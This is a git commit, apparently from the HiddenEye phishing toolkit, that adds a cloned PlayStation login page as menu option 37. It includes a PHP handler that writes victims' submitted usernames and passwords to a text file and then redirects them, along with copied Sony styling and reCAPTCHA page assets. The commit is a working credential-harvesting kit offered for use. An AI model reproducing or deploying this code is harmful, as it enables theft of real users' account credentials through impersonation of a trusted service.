Little FIX

This commit is contained in:
Moltivie 2019-10-29 22:51:20 +01:00
commit 4a240682b2
27 changed files with 14324 additions and 1 deletions

View File

@ -124,6 +124,8 @@ def runPhishing(page , customOption): #Phishing pages selection menu
copy_tree("WebPages/Reddit-old/", "Server/www/")
elif page == 'Subitoit':
copy_tree("WebPages/subitoit/", "Server/www/")
elif page == 'PlayStation':
copy_tree('WebPages/playstation/', "Server/www/")
else:
endMessage()
@ -381,6 +383,7 @@ def mainMenu():
print (_(" {0}[{1}7{0}]{1} Twitter {0}[{1}16{0}]{1} GitLab {0}[{1}25{0}]{1} Badoo {0}[{1}34{0}]{1} Yandex").format(MAIN0, MAIN2))
print (_(" {0}[{1}8{0}]{1} Instagram {0}[{1}17{0}]{1} Netflix {0}[{1}26{0}]{1} CryptoCurrency {0}[{1}35{0}]{1} Reddit").format(MAIN0, MAIN2))
print (_(" {0}[{1}9{0}]{1} Snapchat {0}[{1}18{0}]{1} Origin {0}[{1}27{0}]{1} DevianArt {0}[{1}36{0}]{1} SUbito.it").format(MAIN0, MAIN2))
print (_(" {0}[{1}37{0}]{1} PlayStation ").format(MAIN0, MAIN2))
option = input(_("{0}HiddenEye >>> {1}").format(MAIN0, MAIN2))
if option == '1':
loadModule('Facebook')
@ -526,6 +529,10 @@ def mainMenu():
loadModule('Subitoit')
customOption = ''
runPhishing('Subitoit', customOption)
elif option == '37':
loadModule('PlayStation')
customOption = ''
runPhishing('PlayStation', customOption)
else:
endMessage()

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,6 @@
<?php
include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 545 KiB

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1 @@
/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]||{},N='grecaptcha';var gr=w[N]=w[N]||{};gr.ready=gr.ready||function(f){(cfg['fns']=cfg['fns']||[]).push(f);};(cfg['enterprise']=cfg['enterprise']||[]).push(false);(cfg['render']=cfg['render']||[]).push('explicit');(cfg['onload']=cfg['onload']||[]).push('widgetLoaded');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;po.src='https://www.gstatic.com/recaptcha/releases/5fbZx3NV5xhaMoMLrZV3TkN4/recaptcha__en_gb.js';var e=d.querySelector('script[nonce]'),n=e&&(e['nonce']||e.getAttribute('nonce'));if(n){po.setAttribute('nonce',n);}var s=d.getElementsByTagName('script')[0];s.parentNode.insertBefore(po, s); })();

View File

@ -0,0 +1,188 @@
<!DOCTYPE html>
<!-- saved from url=(0139)https://www.google.com/recaptcha/api2/bframe?hl=en-GB&v=5fbZx3NV5xhaMoMLrZV3TkN4&k=6Le-UyUUAAAAAIqgW-LsIp5Rn95m_0V0kt_q0Dl5&cb=8wakjzksj3wk -->
<html dir="ltr" lang="en_gb"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>reCAPTCHA</title>
<style type="text/css">
/* cyrillic-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto Regular'), local('Roboto-Regular'), url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');
unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto Regular'), local('Roboto-Regular'), url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');
unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto Regular'), local('Roboto-Regular'), url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');
unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto Regular'), local('Roboto-Regular'), url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');
unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto Regular'), local('Roboto-Regular'), url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2');
unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto Regular'), local('Roboto-Regular'), url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto Regular'), local('Roboto-Regular'), url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2');
unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2');
unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2');
unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2');
unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2');
unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2');
unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2');
unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2');
unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2');
unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2');
unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2');
unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
</style>
<link rel="stylesheet" type="text/css" href="./styles__ltr.css">
<script type="text/javascript" src="./recaptcha__en_gb.js.download" nonce="">
</script><script type="text/javascript" charset="UTF-8" src="./S9fUSTxhhOdrtoorjI9LLu91aXsPVT7Js_3UUxt2SGg.js.download" nonce=""></script></head>
<body><input type="hidden" id="recaptcha-token" value="03AOLTBLQyxOm-ypgBDmn40CYsla-yDAMqNo4aDJee0oLl5zWlF0uZqLWQFaibx-OJi0DX2ub4fm0XhxBfi2GHiSCmMVVVjlaxUrh2p-pjAb_8c1hKDZ5KwI4M29MqEWScl_DvH8sJ-XpzXgyvxozhB1l3tm_Ew9tV8LZv1V-VIsOSNvPhJqpLy4inyUxxCIpcEzthRjcQgZA5qbLZrq3f-3smDVV0kCc3cqwPfiQtIxEx1H3B0ILOYIdeMKhO8LnrmWiGw7RMRp5koH2n6o4oEF0KET4ffcndq7u9RHvz9-8hOWF424uaBpqBqHJzz3QaCv5uPyeDkWBxVyKokl15t5_ZkNImOok3U2Rf8sXAbGGxoCYQKVRwI1w0UsFFu-89ewB7-0YTsrAd8lxLqQh9sgG_0VZmIO81rcl_eXYaUERuiTmsKfnjvlJLAFfCbH9M_vmaMKiZxg7DPj3zF2T2jHxNebOcm4rXg9CP0GwFEPZ_wZfzVXGunrHNTg2f7RMl8Oueu3FZot__1wCV1jq9jcfWHAiI-zG03C-s7aWiVAqI_NrgV-McY8fbYC7zzZm6uZyXhD70otZr8GjRsQ3aQcMvsRV830BTXZ9tf5O0Rlg8hYE-rcETeoAWCMKg5d7oHwGcEoeDUS6UOkn1cCElavCbQ-zSySu1Q67AxxAAreBCXMyK-A4hCyHGYH1mD2Bk6Qa8quOL3WOxd4wInA3Na5Ru0mqafmL9KCeKo1f-DEyqit3jC1DvIqBKOxLYNbIv9MJyL0GL_enn7D-8nKdoXJjJyD-XVP-TTWMzy8UI5OhHCYY_QuX4vy9PqV6K-STzQC-Wlatm8EKuobNbLaTZnHxAc-OwWRHviqgmzHF05e_QiQdsPf1K7oaSORGUodF52i3-beLrRF7LkW0z6dXZ6CWusXp5XnhCLLqkVoLpL29WPZZXmeB0KxYR16huIe0-VwYpslJmft91Ma1OjaPs6xVqzqWomimS8ZwnX0PioMNabzeyo5axLPknBbkK4cG4gEm0s7TZSHjEvzBClgR-8MqplwWtxhcID8FakGdepDjGC1Dh6n44_GMiOlxYos9_H0CgTDf86c4Bi-x_QG_5rTy9IFoOytohvWg0WY_NThrZnBP0B2YvRBMH2hk2kjpZrpf0DQdh3jPvDcG7by_o8VQo8It_utKVPthbFnyqqp1Ww8Z58RW58COIQnkXm5-lwEpTo_2TQXH9JKcdceEgy4kLkQwQvCaaBSEabiw6NNXIlYJKuKyfptkmuVUoshzCfzeCncIkPNhHAYvjxwEMvnwly6GAzMwaXylrL4egzcrcALzmdEDYDncC4oNIB9nVmzsQN0j_vGjRoXXhlMhnJg6Wo6ifKk1q_9W90vDbYz1YR8zFTeGO6kjLKWdvhDMHytNn6TFDNfMPnIhU-JhfIVT6kbFuykrdvgeJAd-DMbFmet0n3on4h76g7uWqXz73Y3ZgW4Oeu7KaOgjWWiiI6ylAs9LygJYUo8WR9XESiUNs0T_Dot9K-ZjhYB7ZtRGOCgc8x3RZfXH86go5uqpnEZ8aovl1d4IUGmYsKeZR8BG4h3NqpQBfsV6mOvY6ocG7MEh-oislYzblKWI3v_z86K1hiyiguvC8hIefmY9Xi9nJ0SQlUD8sQ3r_hqqvlpkN-_aEDo1tFJRto962cW0FpQklaB95JerOBq0YsiygB3dyBFfPcbaajcwNLwj8J7XmKPvlWCeIsUpT">
<script type="text/javascript" nonce="">
recaptcha.frame.Main.init("[\x22finput\x22,null,[\x22conf\x22,null,\x226Le-UyUUAAAAAIqgW-LsIp5Rn95m_0V0kt_q0Dl5\x22,0,null,[\x22JS_THIRDEYE\x22,\x22JS_BR\x22]\n,0.75]\n]\n");
</script><div style=""><div class="rc-footer"><div class="rc-separator"></div><div class="rc-controls"><div class="primary-controls"><div class="rc-buttons"><div class="button-holder reload-button-holder"><button class="rc-button goog-inline-block rc-button-reload" title="Get a new challenge" value="" id="recaptcha-reload-button" tabindex="0"></button></div><div class="button-holder audio-button-holder"><button class="rc-button goog-inline-block rc-button-audio" title="Get an audio challenge" value="" id="recaptcha-audio-button" tabindex="0"></button></div><div class="button-holder image-button-holder"><button class="rc-button goog-inline-block rc-button-image" title="Get a visual challenge" value="" id="recaptcha-image-button" tabindex="0" style="display: none;"></button></div><div class="button-holder help-button-holder"><button class="rc-button goog-inline-block rc-button-help" title="Help" value="" id="recaptcha-help-button" tabindex="0"></button></div><div class="button-holder undo-button-holder"><button class="rc-button goog-inline-block rc-button-undo" title="Undo" value="" id="recaptcha-undo-button" tabindex="0" style="display: none;"></button></div></div><div class="verify-button-holder"><button class="rc-button-default goog-inline-block" title="" value="" id="recaptcha-verify-button" tabindex="0">Verify</button></div></div><div class="rc-challenge-help" style="display:none" tabindex="0"></div></div></div></div></body></html>

View File

@ -0,0 +1,7 @@
/**
* kekka.css
* Copyright 2016 Sony Corporation
*
*/
* :not(p):not(h2):not(h3):not(ul):not(li){margin:0;padding:0;-webkit-tap-highlight-color:transparent}body,html{height:100%}body{overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Helvetica Neue',Helvetica,HiraKakuProN-W3,'Noto Sans CJK JP',sans-serif;-webkit-text-size-adjust:100%}span{unicode-bidi:embed}html{font-size:10px}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,525 @@
(function(){function Fw(){return function(F){return F}}function L(){return function(){}}function NR(F){return function(N){this[F]=N}}function P(F){return function(){return this[F]}}function xX(F){return function(){return F}}
var SE="function"==typeof Object.create?Object.create:function(F,N){return new (N=L(),N.prototype=F,N)},T,Y=function(F,N){return(N="undefined"!=typeof Symbol&&Symbol.iterator&&F[Symbol.iterator])?N.call(F):{next:or(F)}},U8=function(F,N,x){if(!(F instanceof Array)){for(F=Y(F),x=[];!(N=F.next()).done;)x.push(N.value);F=x}return F},Zw,or=function(F,N){return N=0,function(){return N<F.length?{done:!1,value:F[N++]}:{done:!0}}};
if("function"==typeof Object.setPrototypeOf)Zw=Object.setPrototypeOf;else{var ar;a:{var cE={dI:!0},L0={};try{L0.__proto__=(ar=L0.dI,cE);break a}catch(F){}ar=!1}Zw=ar?function(F,N){if((F.__proto__=N,F.__proto__)!==N)throw new TypeError(F+" is not extensible");return F}:null}
var HE="undefined"!=typeof window&&window===this?this:"undefined"!=typeof global&&null!=global?global:this,WE=Zw,TW=function(F,N,x,S,U,Z){if(N){for(x=(S=F.split("."),HE),U=0;U<S.length-1;U++)Z=S[U],Z in x||(x[Z]={}),x=x[Z];(Z=(U=x[S=S[S.length-1],S],N)(U),Z!=U)&&null!=Z&&PE(x,S,{configurable:!0,writable:!0,value:Z})}},q=function(F,N,x,S){if((F.prototype=SE(N.prototype),F.prototype).constructor=F,WE)WE(F,N);else for(x in N)"prototype"!=x&&(Object.defineProperties?(S=Object.getOwnPropertyDescriptor(N,
x))&&Object.defineProperty(F,x,S):F[x]=N[x]);F.O=N.prototype},PE="function"==typeof Object.defineProperties?Object.defineProperty:function(F,N,x){F!=Array.prototype&&F!=Object.prototype&&(F[N]=x.value)},E8=(TW("Promise",function(F,N,x,S){function U(){this.$=null}function Z(a){return a instanceof x?a:new x(function(c){c(a)})}if(F)return F;return((((S=(((((N=HE.setTimeout,(((x=function(a,c){this.I=(this.$=[],this.L=0,void 0),c=this.H();try{a(c.resolve,c.reject)}catch(H){c.reject(H)}},U).prototype.I=
(U.prototype.G=function(a,c,H){for(;this.$&&this.$.length;)for(a=this.$,this.$=[],c=0;c<a.length;++c){a[c]=(H=a[c],null);try{H()}catch(W){this.H(W)}}this.$=null},function(a){N(a,0)}),x.prototype).U=function(a){if(null!=this.$){for(a=0;a<this.$.length;++a)S.L(this.$[a]);this.$=null}},x.prototype.o=function(a){this.C(1,a)},x.prototype).G=function(a){this.C(2,a)},U.prototype.H=function(a){this.I(function(){throw a;})},x).prototype.X=function(a,c){if(a===this)this.G(new TypeError("A Promise cannot resolve to itself"));
else if(a instanceof x)this.Iw(a);else{a:switch(typeof a){case "object":c=null!=a;break a;case "function":c=!0;break a;default:c=!1}c?this.T(a):this.o(a)}},x.prototype).C=function(a,c){if(0!=this.L)throw Error("Cannot settle("+a+", "+c+"): Promise already settled in state"+this.L);(this.L=a,this.I=c,this).U()},x).prototype.T=function(a,c){c=void 0;try{c=a.then}catch(H){this.G(H);return}"function"==typeof c?this.N(c,a):this.o(a)},U.prototype).L=function(a,c){(null==this.$&&(this.$=[],c=this,this.I(function(){c.G()})),
this).$.push(a)},x.prototype.H=function(a,c){function H(W){return function(E){c||(c=!0,W.call(a,E))}}return{resolve:(c=(a=this,!1),H(this.X)),reject:H(this.G)}},new U),x.prototype).Iw=function(a,c){c=this.H(),a.QL(c.resolve,c.reject)},x).prototype.N=function(a,c,H){H=this.H();try{a.call(c,H.resolve,H.reject)}catch(W){H.reject(W)}},x).prototype.then=function(a,c,H,W,E){function V(m,t){return"function"==typeof m?function(l){try{H(m(l))}catch(B){W(B)}}:t}return E=new x(function(m,t){W=(H=m,t)}),this.QL(V(a,
H),V(c,W)),E},x.prototype["catch"]=function(a){return this.then(void 0,a)},x.prototype.QL=function(a,c,H){function W(){switch(H.L){case 1:a(H.I);break;case 2:c(H.I);break;default:throw Error("Unexpected state: "+H.L);}}null==(H=this,this.$)?S.L(W):this.$.push(W)},x.resolve=Z,x.reject=function(a){return new x(function(c,H){H(a)})},x).race=function(a){return new x(function(c,H,W,E){for(W=Y(a),E=W.next();!E.done;E=W.next())Z(E.value).QL(c,H)})},x.all=function(a,c,H){return(H=(c=Y(a),c.next()),H.done)?
Z([]):new x(function(W,E,V,m){function t(l){return function(B){0==((m--,V)[l]=B,m)&&W(V)}}m=(V=[],0);do V.push(void 0),m++,Z(H.value).QL(t(V.length-1),E),H=c.next();while(!H.done)})},x}),function(){(E8=L(),HE).Symbol||(HE.Symbol=V4)}),YX=function(F,N){PE(this,"description",{configurable:!0,writable:!(this.$=F,0),value:N})},V4=(YX.prototype.toString=P("$"),function(F){function N(x){if(this instanceof N)throw new TypeError("Symbol is not a constructor");return new YX("jscomp_symbol_"+(x||"")+"_"+F++,
x)}return F=0,N})(),$X=function(F){if(F.o)throw new TypeError("Generator is already running");F.o=!0},O8=function(){this.o=((this.U=this.G=0,this).I=null,!1),(this.H=null,this).$=1,this.L=void 0},p0=function(F){return F=(mf(),{next:F}),F[HE.Symbol.iterator]=function(){return this},F},mf=function(F){mf=((F=(E8(),HE).Symbol.iterator,F)||(F=HE.Symbol.iterator=HE.Symbol("Symbol.iterator")),"function"!=typeof Array.prototype[F]&&PE(Array.prototype,F,{configurable:!0,writable:!0,value:function(){return p0(or(this))}}),
L())},JV=(O8.prototype.C=NR("L"),function(F,N){F.H={Wl:N,ft:(F.$=F.G||F.U,!0)}}),K0=(O8.prototype["return"]=function(F){this.H={"return":F},this.$=this.U},function(F,N,x){if(null==F)throw new TypeError("The 'this' value for String.prototype."+x+" must not be null or undefined");if(N instanceof RegExp)throw new TypeError("First argument to String.prototype."+x+" must not be a regular expression");return F+""}),s8=function(F){(((this.next=function(N){return($X(F.$),F.$.I)?N=hV(F,F.$.I.next,N,F.$.C):
(F.$.C(N),N=wA(F)),N},this["return"]=function(N){return AV(F,N)},this)["throw"]=function(N){return($X(F.$),F.$).I?N=hV(F,F.$.I["throw"],N,F.$.C):(JV(F.$,N),N=wA(F)),N},mf)(),this)[Symbol.iterator]=function(){return this}},Xw=function(F,N){(F.$=N,F).G=0},lo=function(F,N){return F.H=(N=(F.G=0,F.H).Wl,null),N},wA=function(F,N){for(;F.$.$;)try{if(N=F.L(F.$))return F.$.o=!1,{value:N.value,done:!1}}catch(x){F.$.L=void 0,JV(F.$,x)}if(F.$.o=!1,F.$.H){if((N=F.$.H,F.$).H=null,N.ft)throw N.Wl;return{value:N["return"],
done:!0}}return{value:void 0,done:!0}},AV=function(F,N,x){if(x=($X(F.$),F.$).I)return hV(F,"return"in x?x["return"]:function(S){return{value:S,done:!0}},N,F.$["return"]);return wA((F.$["return"](N),F))},n0=function(F){return tV(new s8(new gA(F)))},O=function(F,N,x){return{value:(F.$=x,N)}},tV=function(F){function N(S){return F.next(S)}function x(S){return F["throw"](S)}return new Promise(function(S,U){function Z(a){a.done?S(a.value):Promise.resolve(a.value).then(N,x).then(Z,U)}Z(F.next())})},gA=function(F){(this.$=
new O8,this).L=F},hV=function(F,N,x,S,U,Z){try{if(!(U=N.call(F.$.I,x),U instanceof Object))throw new TypeError("Iterator result "+U+" is not an object");if(!U.done)return F.$.o=!1,U;Z=U.value}catch(a){return F.$.I=null,JV(F.$,a),wA(F)}return wA((S.call(F.$,(F.$.I=null,Z)),F))},BE=(TW("String.prototype.repeat",(TW("String.prototype.startsWith",function(F){return F?F:function(N,x,S,U,Z,a,c){for(c=(U=(S=K0(this,N,"startsWith"),S.length),N+="",Z=N.length,a=Math.max(0,Math.min(x|0,S.length)),0);c<Z&&a<
U;)if(S[a++]!=N[c++])return!1;return c>=Z}}),function(F){return F?F:function(N,x,S){if(0>(x=K0(this,null,"repeat"),N)||1342177279<N)throw new RangeError("Invalid count value");for(S=(N|=0,"");N;)if(N&1&&(S+=x),N>>>=1)x+=x;return S}})),function(F,N){return Object.prototype.hasOwnProperty.call(F,N)}),rA=((TW("String.prototype.includes",(TW("Array.prototype.includes",(TW("Object.is",(TW("Object.values",(TW("Array.from",(TW("Set",(TW((TW("WeakMap",function(F,N,x,S){function U(){}function Z(H,W){return(W=
typeof H,"object")===W&&null!==H||"function"===W}function a(H,W){BE(H,N)||(W=new U,PE(H,N,{value:W}))}function c(H,W){(W=Object[H])&&(Object[H]=function(E){if(E instanceof U)return E;return(a(E),W)(E)})}if(function(H,W,E){if(!F||!Object.seal)return!1;try{if(2!=(E=new (H=Object.seal({}),W=Object.seal({}),F)([[H,2],[W,3]]),E).get(H)||3!=E.get(W))return!1;return E["delete"](H),E.set(W,4),!E.has(H)&&4==E.get(W)}catch(V){return!1}}())return F;return(((S=(x=(c((N="$jscomp_hidden_"+Math.random(),"freeze")),
c("preventExtensions"),c("seal"),0),function(H,W){if(this.$=(x+=Math.random()+1).toString(),H)for(H=Y(H);!(W=H.next()).done;)W=W.value,this.set(W[0],W[1])}),S.prototype.set=function(H,W){if(!Z(H))throw Error("Invalid WeakMap key");if(!(a(H),BE)(H,N))throw Error("WeakMap key fail: "+H);return H[N][this.$]=W,this},S).prototype.get=function(H){return Z(H)&&BE(H,N)?H[N][this.$]:void 0},S.prototype).has=function(H){return Z(H)&&BE(H,N)&&BE(H[N],this.$)},S).prototype["delete"]=function(H){return Z(H)&&
BE(H,N)&&BE(H[N],this.$)?delete H[N][this.$]:!1},S}),"Map"),function(F,N,x,S,U,Z,a){if(function(c,H,W,E){if(!F||"function"!=typeof F||!F.prototype.entries||"function"!=typeof Object.seal)return!1;try{if("s"!=(H=new F(Y((c=Object.seal({x:4}),[[c,"s"]]))),H).get(c)||1!=H.size||H.get({x:4})||H.set({x:4},"t")!=H||2!=H.size)return!1;if((E=(W=H.entries(),W.next()),E).done||E.value[0]!=c||"s"!=E.value[1])return!1;return(E=W.next(),E).done||4!=E.value[0].x||"t"!=E.value[1]||!W.next().done?!1:!0}catch(V){return!1}}())return F;
return(((((N=new (mf(),WeakMap),x=function(c,H){if((this.L={},this).$=Z(),this.size=0,c)for(c=Y(c);!(H=c.next()).done;)H=H.value,this.set(H[0],H[1])},x.prototype.set=function(c,H,W){return(c=0===c?0:c,W=S(this,c),W).list||(W.list=this.L[W.id]=[]),W.zk?W.zk.value=H:(W.zk={next:this.$,Bu:this.$.Bu,head:this.$,key:c,value:H},W.list.push(W.zk),this.$.Bu.next=W.zk,this.$.Bu=W.zk,this.size++),this},x.prototype)["delete"]=function(c){return c=S(this,c),c.zk&&c.list?(c.list.splice(c.index,1),c.list.length||
delete this.L[c.id],c.zk.Bu.next=c.zk.next,c.zk.next.Bu=c.zk.Bu,c.zk.head=null,this.size--,!0):!1},x.prototype.clear=function(){this.$=(this.L={},this).$.Bu=Z(),this.size=0},x.prototype).has=function(c){return!!S(this,c).zk},x.prototype).get=function(c){return(c=S(this,c).zk)&&c.value},x.prototype.entries=function(){return U(this,function(c){return[c.key,c.value]})},x.prototype.keys=function(){return U(this,function(c){return c.key})},x).prototype.values=function(){return U(this,function(c){return c.value})},
x.prototype.forEach=function(c,H,W,E){for(W=this.entries();!(E=W.next()).done;)E=E.value,c.call(H,E[1],E[0],this)},x.prototype)[Symbol.iterator]=x.prototype.entries,S=function(c,H,W,E,V,m){if((E=(W=H&&typeof H,"object"==W||"function"==W?N.has(H)?W=N.get(H):(W=""+ ++a,N.set(H,W)):W="p_"+H,c.L[W]))&&BE(c.L,W))for(V=0;V<E.length;V++)if(m=E[V],H!==H&&m.key!==m.key||H===m.key)return{id:W,list:E,index:V,zk:m};return{id:W,list:E,index:-1,zk:void 0}},Z=function(c){return c={},c.Bu=c.next=c.head=c},a=0,U=
function(c,H,W){return(W=c.$,p0)(function(){if(W){for(;W.head!=c.$;)W=W.Bu;for(;W.next!=W.head;)return W=W.next,{done:!1,value:H(W)};W=null}return{done:!0,value:void 0}})},x}),function(F,N){if(function(x,S,U,Z){if(!F||"function"!=typeof F||!F.prototype.entries||"function"!=typeof Object.seal)return!1;try{if((S=new F(Y((x=Object.seal({x:4}),[x]))),!S.has(x)||1!=S.size)||S.add(x)!=S||1!=S.size||S.add({x:4})!=S||2!=S.size)return!1;if((Z=(U=S.entries(),U.next()),Z.done||Z.value[0]!=x)||Z.value[1]!=x)return!1;
return(Z=U.next(),Z.done||Z.value[0]==x||4!=Z.value[0].x)||Z.value[1]!=Z.value[0]?!1:U.next().done}catch(a){return!1}}())return F;return((((((mf(),N=function(x,S){if(this.$=new Map,x)for(x=Y(x);!(S=x.next()).done;)this.add(S.value);this.size=this.$.size},N.prototype).add=function(x){return(x=0===x?0:x,this.$).set(x,x),this.size=this.$.size,this},N.prototype["delete"]=function(x){return this.size=(x=this.$["delete"](x),this.$.size),x},N).prototype.clear=function(){this.size=(this.$.clear(),0)},N.prototype.has=
